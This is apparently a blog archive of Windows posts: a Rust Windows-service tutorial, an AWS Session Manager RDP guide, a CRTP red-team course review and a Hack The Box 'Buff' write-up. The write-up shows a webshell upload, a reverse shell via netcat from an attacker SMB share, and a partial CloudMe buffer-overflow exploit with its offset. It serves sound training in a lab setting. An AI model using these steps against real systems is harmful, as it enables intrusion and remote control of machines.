Windows on David Hamann

Writing a Windows Service in Rust

Sat, 28 Feb 2026 00:00:00 +0000

I’m currently writing a cross-platform server application in Rust which should also be able to run as a service on Windows.

While this sounds like a relatively straight-forward thing to do, it was a bit more involved than I originally thought (especially compared to running unix services).

Below you’ll find my notes and a well-documented code sample for running a small echo server for demonstration purposes as a Windows service. I’m going to cover service initialization, responding to control commands (like STOP) and also handling shutdowns in a tokio runtime setting where the individual tasks need to be cancelled. The sample application can also be run in console mode and the Windows service parts are conditionally compiled – so you can run/compile it on Unix systems for console mode use as well.

I decided to use the windows_service crate which abstracts the Windows API calls away and gives you an easy interface to work with.

The service can be installed with: sc.exe create sample-service binPath= "C:\path\to\target\app.exe --service" (sample-service can also be any other name, but it’s important to refer to the same name in the code as well. --service is just an argument for this sample code.)

You can find the complete code here on GitHub.

main(): Service vs. console mode

The application we are going to build should be able to be started as a Windows service but also retain the option to run in console mode. Since the service mode is only available on Windows, certain blocks have to be marked for conditional compilation with the cfg attribute.

We want to use the tokio asynchronous runtime but have the two mentioned startup cases – service and console mode. This means we can’t rely on tokio’s main macro attribute to set things up for us. In the service case, our runtime needs to be set up in a separate thread as the main one will block after calling the Windows service control dispatcher. So we will build the runtime in our main function only in the non-service branch.

Finally, to be able to stop our application and its multiple connection handling tasks – in both service and console mode –, we have to create a CancellationToken and pass it to our app’s individual tasks to receive a signal for a cancellation request (such as a STOP request from the service control manager, SCM, or ctrl-C in console mode) – more on that later in the post.

run_app will be our actual application start.

Here’s our main:

fn main() {
 if std::env::args().any(|a| a == "--service") {
 #[cfg(windows)]
 {
 // service mode (Windows)
 if let Err(e) = win_service::start() {
 // note that this error is only visible if you accidentally
 // run --service in non-service mode. It might make sense
 // to log to the Windows Event Log here.
 eprintln!("Error: {e}");
 }
 }
 #[cfg(not(windows))]
 {
 eprintln!("--service flag is only supported on Windows");
 std::process::exit(1);
 }
 } else {
 // normal console mode (manually started on Windows/Linux/macOS)
 let rt = match tokio::runtime::Runtime::new() {
 Ok(rt) => rt,
 Err(e) => {
 eprintln!("Error setting up tokio Runtime: {e}");
 return;
 }
 };

 let token = CancellationToken::new();
 let token_clone = token.clone();

 rt.block_on(async {
 tokio::spawn(async move {
 let _ = tokio::signal::ctrl_c().await;
 println!("Got Ctrl-C, shutting down...");
 token.cancel();
 });

 if let Err(e) = run_app(token_clone).await {
 eprintln!("Got error: {e}");
 }
 });
 }
}

Defining entry point and starting service control dispatcher

As can be seen in main, the service mode will call start() from our win_service module.

In it, we call service_dispatcher::start from the windows_service crate, which is a wrapper around the Win32 StartServiceCtrlDispatcher function.

When running an application as a service, the executable is supposed to call this function right in the beginning, and pass the service name and a pointer to the application’s entry point function. In the below code, this function is called ffi_service_main and is being generated by the define_windows_service! macro (the Windows API requires an entry point with the signature extern "system" fn(u32, *mut *mut u16), “system” being the standard calling convention on the Windows system).

service_dispatcher::start will block until we’re done or the application stops for another reason, and ffi_service_main will be called in a new thread to be able to start the initialization process.

mod win_service {
 const SERVICE_NAME: &str = "sample-service"; // important to match the service name!

 // ...

 define_windows_service!(ffi_service_main, app_service_main);

 pub fn start() -> Result<(), windows_service::Error> {
 service_dispatcher::start(SERVICE_NAME, ffi_service_main)
 }

 // ...
}

The windows_service crate abstracts the Windows API from us and we can build our actual service initialization logic in the function named app_service_main in the code below. This must just be a function which takes Vec<OsString> and will be called by ffi_service_main.

Depending on your service, you can ignore the arguments as these are just the service start parameters, not the arguments to your app (i.e. sc.exe start <service name> arg1 arg2).

Our app_service_main can then wrap a run_service function and potentially log errors to the windows event log or a file. Once app_service_main returns, the dispatcher (service_dispatcher::start) eventually unblocks.

pub fn app_service_main(_arguments: Vec<OsString>) {
 if let Err(_e) = run_service() {
 // log error (e.g. to Windows Event Log)
 }
}

Service initialization

In our run_service(), we are going to do the following:

Create a oneshot channel to be able to signal a shutdown and initiate a token cancellation in our application when we receive a STOP from the service control manager (SCM)
Register our service control handler code to define what should happen for which control event
Set the service state from start pending to running
Create the tokio runtime
Create a cancellation token to be able to cancel the application’s tasks on shutdown
Spawn a background task to receive and handle our shutdown signal
Eventually run our app with run_app(), just like in the console mode case mentioned in the beginning
Finally, once our app has finished, set the service state to stopped again

Since the code is easier to follow with inline comments, I’ve annotated run_service below rather than describing it separately. I also mentioned a few things that could be improved when doing this for a production application.

// Main service logic for registration of SCM handler code (for
// handling stop events from SCM), to signal to SCM that we're
// starting/running/stopping, and eventually running the app within the
// tokio runtime.
fn run_service() -> Result<(), windows_service::Error> {
 // oneshot channel to be able to receive stop requests, should the SCM
 // control handler send one.
 // The transmitter part goes into the control handler closure, the
 // receiver goes into our own background tasks which handles the token
 // cancellation and setting of the stop pending state.
 let (shutdown_tx, shutdown_rx) = oneshot::channel();
 let shutdown_tx = Mutex::new(Some(shutdown_tx));

 // Register service control handler
 // This wraps RegisterServiceCtrlHandlerExW – so we tell SCM to call
 // the following closure whenever it needs to signal a control command
 // to us.
 // The closure runs in a separate thread.
 // Since register() gives us a status handle, this must be called
 // before we can set a status (start pending, etc.)
 // SERVICE_NAME is required here again, as multiple services could
 // potentially share the same binary (not in our case, but part of API).
 let status_handle = service_control_handler::register(
 SERVICE_NAME,
 move |control_event| match control_event {
 ServiceControl::Interrogate => {
 // Mandatory so SCM can check if the service is still alive
 // and responding
 ServiceControlHandlerResult::NoError
 }
 ServiceControl::Stop => {
 // SCM (or a user through SCM) has requested a stop of the
 // service. Use oneshot transmitter to signal a shutdown to
 // our app (in case it hasn't exited yet, i.e. receiver is
 // still there).
 // We use the channel here and not the cancellation token
 // directly as we don't have the status handle yet and make
 // it a little easier.
 if let Some(tx) = shutdown_tx.lock().unwrap().take() {
 let _ = tx.send(());
 }
 ServiceControlHandlerResult::NoError
 }

 // For any other control event we just tell SCM that we can't
 // handle it.
 _ => ServiceControlHandlerResult::NotImplemented,
 },
 )?;

 // Tell SCM that we've received the start request
 // This is technically not necessary since we don't have an
 // involved/long-lasting setup logic, so we could just go straight into
 // Running, and don't set StartPending with a wait_hint. I added it for
 // completeness.
 status_handle.set_service_status(ServiceStatus {
 // SERVICE_WIN32_OWN_PROCESS, i.e. we run our own non-shared
 // process
 service_type: ServiceType::OWN_PROCESS,

 // Starting up... (the new state of the service)
 current_state: ServiceState::StartPending,

 // Accept no control during startup
 controls_accepted: ServiceControlAccept::empty(),

 // No error
 exit_code: ServiceExitCode::Win32(0),

 // Progress checkpoint for SCM (only relevant if we would have a
 // multi-step initialization and want to report progress)
 checkpoint: 1,

 // How long SCM should wait before considering the service as hung
 wait_hint: Duration::from_secs(10),

 // Only used for shared processes
 process_id: None,
 })?;

 // Now tell SCM that we're ready
 // (ideally, you would have validated your initialization at this point,
 // however, for a cross-platform app, you would likely need to
 // restructure a bit if everything is normally done in run_app. I kept
 // it simple here).
 status_handle.set_service_status(ServiceStatus {
 service_type: ServiceType::OWN_PROCESS,
 current_state: ServiceState::Running,

 // Accept STOP commands while running
 controls_accepted: ServiceControlAccept::STOP,

 exit_code: ServiceExitCode::Win32(0),

 // Must be 0 when service is running
 checkpoint: 0,

 // No wait hint when running, so just default/zero
 wait_hint: Duration::default(),
 process_id: None,
 })?;

 // Create tokio runtime _here_ as our regular main entry point in the
 // service case just calls the dispatcher and the dispatcher calls us
 // on a different thread.
 let runtime = match tokio::runtime::Runtime::new() {
 Ok(rt) => rt,
 Err(e) => {
 // Failed to create runtime
 status_handle.set_service_status(ServiceStatus {
 service_type: ServiceType::OWN_PROCESS,
 current_state: ServiceState::Stopped,
 controls_accepted: ServiceControlAccept::empty(),
 exit_code: ServiceExitCode::Win32(575), // app init failure
 checkpoint: 0,
 wait_hint: Duration::default(),
 process_id: None,
 })?;

 // hack: note that a custom error type might be more accurate
 // here as it's not a Windows API error...
 return Err(windows_service::Error::Winapi(e));
 }
 };

 let token = CancellationToken::new();

 runtime.block_on(async {
 let app_token = token.clone();

 // Spawn background task that waits for stop signal sent through
 // control handler, and then cancels the token to notify our app
 // tasks
 tokio::spawn(async move {
 let _ = shutdown_rx.await;
 token.cancel();

 // Report StopPending so SCM knows we're winding down and
 // doesn't force-kill us.
 // ServiceStatusHandle implements Copy, so we can use it here
 let _ = status_handle.set_service_status(ServiceStatus {
 service_type: ServiceType::OWN_PROCESS,
 current_state: ServiceState::StopPending,
 controls_accepted: ServiceControlAccept::empty(),
 exit_code: ServiceExitCode::Win32(0),
 checkpoint: 1,
 wait_hint: Duration::from_secs(10),
 process_id: None,
 });
 });

 // Run application until cancelled via token
 if let Err(e) = crate::run_app(app_token).await {
 // again: better to log to Windows Event Log or a file as
 // this error message goes to nowhere :-)
 eprintln!("Got error: {e}");
 }
 });

 // Tell SCM that we're done (we've passed the blocking runtime code
 // above, so we either crashed or received a shutdown)
 status_handle.set_service_status(ServiceStatus {
 service_type: ServiceType::OWN_PROCESS,
 current_state: ServiceState::Stopped,
 controls_accepted: ServiceControlAccept::empty(),
 exit_code: ServiceExitCode::Win32(0), // You may want to make return an error code
 // depending on run_app success
 checkpoint: 0,
 wait_hint: Duration::default(),
 process_id: None,
 })?;

 Ok(())
}

Sample app

As stated in the beginning, our sample application is a simple echo server. We’re binding to TCP port 5000, listen for connections and handle them by spawning a new task.

In our main loop which accepts new connections, we’re also checking if the cancellation token has been, well, cancelled. And if so, we break out of our connection acceptance loop and go into the connection draining phase to attempt a close of the connections.

We check if we have any remaining active connections, and if so set a 10 second timer while joining the connection tasks one by one. Once all connections have closed or our timer runs out, we break out of the drain loop.

To make this possible, we also have to pass the cancellation token to our connection handling code which will continuously check the token and read from TCP stream until either resolves (shown in next section).

Here’s how this looks in code:

pub async fn run_app(token: CancellationToken) -> Result<(), Box<dyn Error>> {
 let listener = TcpListener::bind("127.0.0.1:5000").await?;
 println!("Listening on 127.0.0.1:5000...");

 // Track all spawned connection tasks so we can wait for them to drain
 // on shutdown.
 let mut connections = tokio::task::JoinSet::new();

 // Accept connections until token gets cancelled
 loop {
 tokio::select! {
 _ = token.cancelled() => {
 println!("Accept loop: cancellation received, stopping...");
 break;
 }
 result = listener.accept() => {
 match result {
 Ok((stream, addr)) => {
 println!("New connection from {addr}");
 let conn_token = token.child_token();
 connections.spawn(
 handle_connection(stream, addr, conn_token));
 }
 Err(e) => {
 eprintln!("Error accepting new connection: {e}");
 }
 }
 }
 }
 }

 // Token got cancelled and we stopped accepting new connections. Now give
 // existing ones some time to finish. After the timeout, connections will
 // just be dropped/tasks cancelled.
 let active = connections.len();
 if active > 0 {
 println!("Waiting for {active} connections to close");

 // you may want to capture/log panics here
 let drain = async { while connections.join_next().await.is_some() {} };
 if tokio::time::timeout(std::time::Duration::from_secs(10), drain)
 .await
 .is_err()
 {
 println!("Time out waiting for connections to close, forcing \
 shutdown");
 }
 }
 println!("Server shut down.");

 Ok(())
}

Handling stream data while checking token

Finally, this is how we handle the token checking in handle_connection:

Either branch of the select! can lead to breaking out of the loop. It polls both branch futures simultaneously and when one resolves, the other is dropped (dropping the read in its pending state is OK when we want to shutdown our server).

async fn handle_connection(
 mut stream: tokio::net::TcpStream,
 addr: std::net::SocketAddr,
 token: CancellationToken,
) {
 let mut buf = [0u8; 1024];

 // Keep reading until token is cancelled (or client disconnects or we have
 // read/write errors). Note that if you're buffering some data, you might
 // want to flush before returning.
 loop {
 tokio::select! {
 _ = token.cancelled() => {
 println!("{addr}: shutdown signal received, closing \
 connection.");

 let msg = format!("Bye {addr}...");
 if let Err(e) = stream.write_all(msg.as_bytes()).await {
 eprintln!("{addr}: write error: {e}");
 }
 break;
 }
 result = stream.read(&mut buf) => {
 match result {
 // Client disconnected
 Ok(0) => {
 println!("{addr}: client disconnected");
 break;
 }
 Ok(n) => {
 // Echo back what we received
 let mut msg = Vec::with_capacity(6 + n);
 msg.extend_from_slice(b"Echo: ");
 msg.extend_from_slice(&buf[..n]);
 if let Err(e) = stream.write_all(&msg).await {
 eprintln!("{addr}: write error: {e}");
 break;
 }
 }
 Err(e) => {
 eprintln!("{addr}: read error: {e}");
 break;
 }
 }
 }
 }
 }
}

And this completes the sample project and little exploration into Windows services. I learned a bunch of new things and hope the descriptions and sample code come in helpful to you as well.

As mentioned in the beginning, you can find the full code here on GitHub.

Connecting to a private Windows EC2 instance without exposing RDP to the internet

Mon, 12 Feb 2024 00:00:00 +0000

The problem statement

Let’s say you have a (Windows or Linux) EC2 instance in a private subnet and want to access it interactively. There are several ways to do this:

You could use a bastion host in your public subnet, harden it and limit access to a certain IP range, and then tunnel your SSH or RDP (or any other TCP) traffic through this host using SSH.

Alternatively, you could set up a VPN server through which to connect to your instance.

Another option for RDP could be an RDP gateway (to not expose RDP directly).

Or you could just care a little less and put your instance in a public subnet, make it directly addressable, lock down source IPs with a security group, and live with the risk of not having an additional layer in front.

Any other idea?

AWS Systems Manager Session Manager

There’s actually another relatively straightforward way to connect to your instance – AWS managed and without the requirement to open ports to any of your resources, manage SSH keys or maintain your own bastion hosts.

With AWS Systems Manager Session Manager, you (or any IAM user with permission) can open a session to your private instance either from the AWS console in the browser or through your local machine. You can even get a connection history and shell logs of established sessions and do your user management as you are already used to in AWS IAM.

If the last paragraph sounded like an advertisement, it wasn’t supposed to :-) I’m generally a fan of using established and vendor-independent tools and procedures; so if you already have everything set up and an established secure workflow with a VPN or bastion host, it may not be too interesting for you. If your resources are primarily on AWS, however, it is still a useful service to know about.

Since I just had this use case for a Windows server to which I also needed GUI access, I wrote down my steps. Let’s see how we can practically set up this scenario for RDP.

What this tutorial is about

In the following steps we will create a new VPC with a public (i.e. with a route to an internet gateway) and a private subnet.

For internet access, we will give the private subnet a route to a NAT gateway residing in the public subnet. Then we will continue by creating an instance which can assume a role for Session Manager Management.

And finally, we will create a port-forwarding session and access our private instance through a local RDP client.

It’s also possible to do this without internet access by using VPC endpoints; I think the EC2 instance only needs to have egress port 443 allowed to the SSM gateway endpoints. You can see the Session Manager Agent on the EC2 instance establishing these connections.

If you just want to see how to connect, jump to the end of the article.

Creating VPC, subnets, gateways, routes

Let’s create a VPC with a small IP range (adjust as you like), giving us space for about 250 hosts (not counting network, a couple of AWS internal reserved hosts, and broadcast). More than enough as we will actually only have one instance and NAT gateway for this demo setup.

aws ec2 create-vpc --cidr-block 10.0.0.0/24 # from now on: vpc-1234

Next, we create an internet gateway and attach it to our VPC:

aws ec2 create-internet-gateway # from now on: igw-1234
aws ec2 attach-internet-gateway --internet-gateway-id igw-1234 --vpc-id vpc-1234

Let’s continue by creating two subnets. One public (to which we connect the internet gateway) and one private (where our Windows server will reside). Again, I’ll just split the /24 network into two parts, but you might want something else.

aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.0/25 # from now on: subnet-1234 (will become public)
aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.128/25 # from now on: subnet-5678 (will stay private)

To give the private subnet access to the internet, we’ll add a NAT gateway and assign it an IP address:

aws ec2 allocate-address --domain vpc --network-border-group eu-central-1 # from now: eipalloc-1234
aws ec2 create-nat-gateway --subnet-id subnet-1234 --allocation-id eipalloc-1234 # from now on: nat-1234

And finally, we create the route table and routes.

First, for the public subnet:

aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-1234
aws ec2 associate-route-table --route-table-id rtb-1234 --subnet-id subnet-1234
aws ec2 create-route --route-table-id rtb-1234 --destination-cidr-block "0.0.0.0/0" --gateway-id igw-1234

And then for the private subnet:

aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-5678
aws ec2 associate-route-table --route-table-id rtb-5678 --subnet-id subnet-5678
aws ec2 create-route --route-table-id rtb-5678 --destination-cidr-block "0.0.0.0/0" --nat-gateway-id nat-1234

Note that the route tables will additionally always get a default route for destination 10.0.0.0/24 to target local on creation.

Setting up instance profile and creating Windows server in private subnet

We start out by creating a role with an EC2 trust relationship, such that instances can assume this role.

# EC2AssumeRoleSTS.json
{
 "Version": "2012-10-17",
 "Statement": {
 "Effect": "Allow",
 "Principal": {
 "Service": "ec2.amazonaws.com"
 },
 "Action": "sts:AssumeRole"
 }
}

aws iam create-role --role-name SSMManagedEC2 --assume-role-policy-document file://EC2AssumeRoleSTS.json

The first relevant piece for this whole Session Manager scenario is to add the (AWS managed) policy AmazonSSMManagedInstanceCore (arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore) to our role, which enables the AWS Systems Manager core functionality.

aws iam attach-role-policy --role-name SSMManagedEC2 --policy arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore

And since we want to use the role for the EC2 instance, we create an instance profile and then attach the role to it:

aws iam create-instance-profile --instance-profile-name SSMEC2
aws iam add-role-to-instance-profile --instance-profile-name SSMEC2 --role-name SSMManagedEC2

Finally, we can create our instance in the private subnet and specify the instance type, profile and image (AMI). I’m using an AMI for a Windows Server 2022 in eu-central-1 region. You could additionaly also specify a key-pair, but don’t have to as you can later access the instance from the browser via the AWS console (Instance -> Connect -> Session Manager) and create your user/change password from there (you’ll be dropped into a PowerShell session as a privileged ssm-user).

aws ec2 run-instances --instance-type t2.medium --subnet-id subnet-5678 --image-id ami-0ced908879ca69797 --iam-instance-profile Arn=arn:aws:iam::<your-account-id>:instance-profile/SSMEC2 # from now on: i-1234

Please note that you have to install the System Manager Agent on the instance yourself, if you’re not using an AWS provided AMI. For the one mentoned above, no extra steps are required.

Installing Session Manager plugin, starting port-forwarding session and connecting via RDP

If you can live with working in a browser, there’s not much else to do. Just hit the “Connect” button in the AWS console’s EC2 dashboard, select Session Manager, and your session will start (either a PowerShell session as the privileged ssm-user, or an RDP session via “Fleet Manager”).

If you want access from your local terminal or your local RDP client (or direct access to any other network application on the instance, really), you can use the port-forwarding feature.

To be able to start a session from your local machine you first have to install the Session Manager plugin from AWS (next to the awscli). If you use brew (on macOS), you can brew install --cask session-manager-plugin. For a manual install or a different OS see the install guide.

Now we’re finally ready to connect. Let’s open up an RDP client and get our Windows user/password ready (decrypt the randomly generated one either via your key-pair or create a new user/password via the Session Manager in the AWS console, as mentioned above).

We can then use the ssm command to start our session. And just like we would do with SSH, we can specify a port mapping. In the following I map the remote RDP port 3389 to an arbitrary local port:

aws ssm start-session --target i-1234 --document-name AWS-StartPortForwardingSession --parameters '{"portNumber":["3389"], "localPortNumber": ["33089"]}'

With our local RDP client, we can now connect to localhost:33089, authenticate with the Windows credentials and get a regular RDP experience.

If you work with SSH, you can also use the Session Manager as a proxy for your SSH session (document-name AWS-StartSSHSession).

CRTP Certification Review

Fri, 25 Dec 2020 00:00:00 +0000

A couple of days ago I took the exam for the CRTP (Certified Red Team Professional) certification by Pentester Academy. In this review I want to give a quick overview of the course contents, the labs and the exam.

Course Contents

Attacking and Defending Active Directory is the accompanying course for the CRTP certification and it covers – as the name suggests – various common attack vectors and persistence techniques in Windows AD networks. The course also gives an overview of the defensive measures you can take – from more high-level explanations of privilege separation models to deploying decoy objects in the environment for deception.

The course structure is roughly like this:

AD Enumeration
Local privilege escalation
Domain privilege escalation and Lateral Movement
Persistence
Trust attacks across Domains and Forests
Defenses and detections

It starts out with a short refresher about Active Directory but pretty much expects you to already have a basic understanding of the main services and logical structure that make up AD. The same goes for PowerShell, which is used across the course and only introduced very briefly.

Most of the enumeration is taught via PowerView and Microsoft’s Active Directory PowerShell module. The teacher, Nikhil Mittal, then walks you through common enumeration tasks, looking at Users, Computers, Shares, GPOs, explaining how to read ACLs, finding sessions, enumerating Trusts, etc.

There’s also a section on BloodHound, albeit very short as the course is supposed to be “Red Team” focussed and so the amount of “noise” you generate in an environment is taken into consideration to avoid being detected for as long as possible.

While I mentioned Local Privilege Escalation above, it is not the focus of the course and only touched very briefly (essentially just service abuses). The domain privilege escalation / lateral movement part is more thorough and teaches you how to jump from one box to another and eventually get Domain Admin or Enterprise Admin – again with the focus on abusing misconfigurations.

The common attacks are all covered: kerberoasting in its different forms, constrained and unconstrained delegation abuses, utilizing trust tickets for moving across domains and reaching external forests, pivoting through SQL Servers, DNS Admins escalation, and more…

A big chunk of the course then goes into persistence techniques, i.e. what techniques an attacker can use to stay in the environment, likely remain undetected, and how long the persistence methods usually work. This was the section where I learned the most – there are just so many places you can hide and information you can use to “come back” at a later stage.

The course covers the more known ways like golden and silver tickets, but also talks about techniques like skeleton keys, custom SSPs, various ACL settings, DCShadow, DSRM admin login, and so on.

For a lot of techniques mimikatz is used. Naturally, not everything can be taught in much detail but the course introduces you to topics you can then further research on your own.

In the defensive part of the course the logs/events created during the attacks are discussed. But not only detection, also mitigation strategies and helpful tools are mentioned. And, as it is a cat and mouse game, also common bypasses and weaknesses of the mitigations/detections are shown.

Lab environment

You get access to a lab which consists of an AD environment containing multiple domains and also trusts to another forest. From a provided “student vm” you can then try out the different attacks.

The lab environment consists (as of the time of writing) of Windows Server 2016 machines and is solely focussed on exploiting misconfigurations (no CVEs with publicly available exploits). This introduces you to realistic scenarios as misconfigurations happen all the time and cannot be just “patched away” with an update.

While it is a shared environment and certain attacks wouldn’t be possible when executed by multiple students, I didn’t have a single issue due to other “attackers” in the environment. Also, the lab resets every 24 hours.

The lab can be accessed via VPN or directly through a browser via Apache Guacamole. I’m not a huge fan of doing everything in a browser, so I always connected via the VPN through a dedicated VM.

There are packages of 30, 60 and 90 days of lab access. I chose 30 days and found it was time enough time to do the exersises multiple times, even though I only did the course on the side in the evenings. My suggestion would be to go for 30 days and do the first enumeration exercises in your own AD lab (if you have one) before starting the official lab time (you get access to the course material and can decide to start the labs at a later stage, which seems like a fair option).

While not a deal breaker, I didn’t like so much that you needed a Google associated email account for accessing the lab control panel.

Exam

The exam drops you into an environment similar to the lab and requires you to get access to a given number of machines in the network. As it is an assumed breach scenario, access to a foothold machine and a low-priv user is given. You have 24 hours to compromise the machines and then 48 hours to write a report describing the weaknesses you exploited to gain access. You have to provide both a walkthrough and remediation recommendations.

You can use any tool on the exam, not just the ones discussed in the course.

Obviously, I cannot say anything about the exam’s contents. All what is needed to pass is explained and taught in the course but expect some hurdles on the way (you cannot just run BloodHound and follow a straight path of layed-out abuses). In my opinion it was a very well thought-out exam.

My recommendations (that apply to any practical exam, really): feel comfortable with the techniques taught so that you can troubleshoot them when they don’t work as expected at first. Carefully enumerate before you try an attack. Don’t put your trust in the output of only a single tool, have alternative ways of verifying things. Keep hacking, even when you haven’t made any progress for some time – you know there is a way in :-)

Should you take the course?

This solely depends on what you want to learn and your previous experience. In my opinion, even if you’re already doing pentesting and AD is not your prime focus, you will learn new tricks. As mentioned above, for me especially the persistance techniques were worth it.

If you know AD in and out and regularly perform assessments that also include the persistence part and cross-trust attacks, then maybe you won’t learn anything new. Pentester Academy also has a much more challenging lab and something in between, although I haven’t done them, so cannot say anything about it.

While I have some non-AD material piled up which I want go through first, let me know if you have done one of the other red team labs. I’d like to hear your experience.

Update 2025

I was informed that the course has moved to a different company/site. It is now: https://www.alteredsecurity.com/adlab. I assume everything is still more or less the same, but can’t say for sure.

Hack the Box Write-up #10: Buff

Sat, 21 Nov 2020 00:00:00 +0000

This is a write-up of today’s retired Hack The Box machine Buff.

Buff was a fun 20 point box that included exploitation of a known vulnerability in a gym management web app and a classic buffer overflow for getting an administrator shell.

In my opinion doing this machine can also serve as a good practice if you plan on doing something like the OSCP or eCPPT certification and still need practice targets for the binary exploitation / buffer overflow part.

Recon and enumeration

We start by scanning the box with a fast nmap scan:

nmap -F 10.10.10.198

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-20 22:49 CET
Nmap scan report for 10.10.10.198
Host is up (0.099s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
8080/tcp open http-proxy

We run an additional full port scan (-p-) in the background and checkout the discovered port 8080 by browsing to it. We are greeted with some kind of fitness site:

Browsing through the pages, we find a note on /contact.php that says: “Made using Gym Management Software 1.0”.

Using this information, we run a searchsploit "gym man" to look for known vulnerabilities:

searchsploit "gym man"
------------------------------------------------------------------- ----------------------
 Exploit Title | Path
------------------------------------------------------------------- ----------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
------------------------------------------------------------------- ----------------------

Exploiting Gym Management Software

Unauthenticated Remote Code Execution looks pretty good, so we’ll have a look at this one first (searchsploit -x 48506).

It essentially does a POST request to the upload.php page (which does not check for a valid session) to send a file while bypassing the check for allowed file types (images). It is supposed to directly give you a webshell, but I find it often easier to just pipe the requests through a proxy and then modify the request as I see fit.

So to let the requests go through Burp, we define a proxies dictionary and pass it to the two requests (using the Python requests module):

proxies = { 'http': 'http://127.0.0.1:8080' }
s.get(SERVER_URL, verify=False, proxies=proxies)
[...]

The diff for completeness:

81d80
< print header();
90c89,90
< s.get(SERVER_URL, verify=False)
---
> proxies = { 'http': 'http://127.0.0.1:8080' }
> s.get(SERVER_URL, verify=False, proxies=proxies)
102c102
< r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
---
> r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False, proxies=proxies)

Now we can start the Burp interception proxy and run python 48506_customized.py http://10.10.10.198:8080/. This will give us insight in the actual payload being used:

Now that we know what the script would do, we can just send the request to the repeater tab, drop the original one and kill the script.

In the repeater tab, we can make slight adjustments or just keep it as is – I change the file name for easier reference later on. When you do your own changes, make sure to keep the magic bytes intact:

After sending the request, we get code execution on the server by sending a GET to our previously uploaded webshell:

To get a proper shell, we can start an impacket smbserver and execute nc.exe directly from our attacker machine:

# launch smbserver
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py TMP $(pwd) -smb2support

# launch listener
nc -lvnp 80

Execute nc.exe:

Identifying CloudMe – The potential “Buff” target

Using our shell, we can start looking around in directories accessible to our user shaun.

In Downloads we find a hint to a potentially installed software:

C:\Users\shaun\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020 12:27 <DIR> .
14/07/2020 12:27 <DIR> ..
16/06/2020 15:26 17,830,824 CloudMe_1112.exe
 1 File(s) 17,830,824 bytes
 2 Dir(s) 7,753,715,712 bytes free

A quick check with tasklist confirms CloudMe.exe is running. Noting the PID, we can also cross-reference that it is listening on port 8888.

Searching for known vulnerabilities, we quickly find a couple of exploits using searchsploit cloudme. Let’s have a quick look at 48389.py.

It looks like a simple buffer overflow, so why not make our own one from scratch!?

Developing the Exploit

First, we need to get the binary to our machine. We can copy it using the smbserver from earlier:

C:\Users\shaun\Downloads>copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
 1 file(s) copied.

For good practice we can also compare the hash after transfer:

# on target
powershell.exe -c "Get-FileHash CloudMe_1112.exe"

# on attacker machine
shasum -a 256 CloudMe_1112.exe

Running the app locally

Since the target system is a Windows 10 box, we should install CloudMe on a similar VM.

If you want to follow along, make sure to also install Immunity Debugger and mona.py on the machine.

After installation, we can run the app and check again with netstat that it is listening on port 8888.

Since it is only listening on the loopback address, we’re setting up a portproxy on our local Windows VM to proxy 172.16.246.136:8888 (IP of my VM) to 127.0.0.1:8888.

netsh interface portproxy add v4tov4 listenport=8888 listenaddress=172.16.246.136 connectport=8888 connectaddress=127.0.0.1

Building a skeleton

The first thing we’re going to do is build a skeleton for our exploit. We will use Python and the built-in socket module for creating a TCP socket for our connection.

Something like this should do for now – a function to build the payload, and one to send it:

import socket

HOST, PORT = '172.16.246.136', 8888


def build(size):
 return b'A' * size


def send(payload):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(2)
 s.connect((HOST, PORT))
 s.send(payload)
 try:
 res = s.recv(1024)
 print('Recv: ', res)
 except socket.timeout:
 print("Boom!")


if __name__ == '__main__':
 payload = build(50)
 send(payload)

Make it crash

To observe how the application is behaving when it receives inputs, we can now attach it to Immunity Debugger:

We can now start to test out different payload sizes – either manually or by looping through a range of sizes until the program crashes.

It also makes sense to test out sizes that are larger than the minimum size required to make it crash, just to see how many of the bytes are actually coming through and end up at a usable memory region.

Let’s settle for a payload size of 2000 and keep it this way (changing the size while developing the exploit just introduces new variables and thus complicates things later on).

We can see that CloudMe is crashing and also identify that our payload of “A"s has overriden the return address and popped an invalid address into the EIP register. Moreover, we can see that the stack pointer (ESP) points to an address where more of our “A"s landed.

To identify the exact offset we need for overwriting the return address and confirm that ESP points to an address right below, we will now create a cyclic pattern of various 4-byte values and use those instead of our “A"s.

Identifying the offset

Right in Immunity Debugger, we can use mona.py’s pc (pattern create) function to generate a pattern of 2000 bytes:

!mona pc 2000
Creating cyclic pattern of 2000 bytes
[...]

The actual pattern will be written to the specified logfile.

We can then copy the ASCII version of the pattern and put it into our exploit script’s build function:

def build(size):
 pattern = b'Aa0Aa1Aa2...'
 return pattern

Restarting CloudMe and sending our new payload, we can see that we are now getting an access violation with a value of 316a4230 in EIP. To identify where these 4 bytes occur in our sent pattern, we can again use mona.py to find out:

!mona po 316a4230
[...]
 - Pattern 0Bj1 (0x316a4230) found in cyclic pattern at position 1052

So we now know that we must send 1052 bytes of junk before we overwrite the return address. Going back to the crashed application, we can also see that ESP contains an address located exactly after the 316a4230 value.

Let’s clean up our exploit script and add the information we gained. We are putting in “B"s for the “address” we want to place into the EIP and fill up the rest of our space with “C"s (just for easier visual reference in the debugger). As mentioned earlier, we also want to make sure that we keep our payload size the same as before.

def build(size, offset):
 junk = b'A' * offset
 eip = b'B' * 4
 shellcode = b'C' * (size - offset - len(eip))

 payload = junk + eip + shellcode
 assert len(payload) == size
 return payload

